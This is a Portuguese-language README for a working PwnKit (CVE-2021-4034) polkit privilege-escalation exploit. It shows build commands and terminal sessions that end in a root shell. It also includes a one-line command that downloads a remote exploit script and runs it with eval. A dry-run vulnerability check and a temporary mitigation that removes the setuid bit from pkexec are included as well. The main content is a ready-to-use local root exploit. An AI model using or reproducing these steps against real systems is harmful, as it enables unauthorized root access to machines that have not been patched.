
CVE-2021-4034 1day
Um dia para o exploit de escalonamento de privilégios do polkit
Basta executar make, ./cve-2021-4034 e aproveitar sua shell root.
O advisory original pelos autores reais está aqui
Se o exploit estiver funcionando, você obterá uma shell root imediatamente:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Atualizar o polkit na maioria dos sistemas corrige o exploit; portanto, você verá a mensagem de uso e o programa será encerrado:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Para não executar uma shell, mas apenas testar se o sistema é vulnerável, compile o alvo dry-run.
Se o programa sair imprimindo "root", isso significa que seu sistema está vulnerável ao exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Se o seu sistema não for vulnerável, ele imprime um erro e sai.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (anteriormente PolicyKit) é um componente para controlar privilégios em todo o sistema em sistemas operacionais do tipo Unix. Ele fornece uma maneira organizada para processos não privilegiados se comunicarem com processos privilegiados. Também é possível usar o polkit para executar comandos com privilégios elevados usando o comando pkexec seguido do comando que se pretende executar (com permissão de root).
Você pode facilmente explorar o sistema usando um único script, baixável e executável com este comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Se não houver patches disponíveis para seu sistema operacional, você pode remover o bit SUID do pkexec como uma mitigação temporária.
# chmod 0755 /usr/bin/pkexec
O exploit então falhará reclamando que pkexec deve ter o
bit setuid habilitado.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root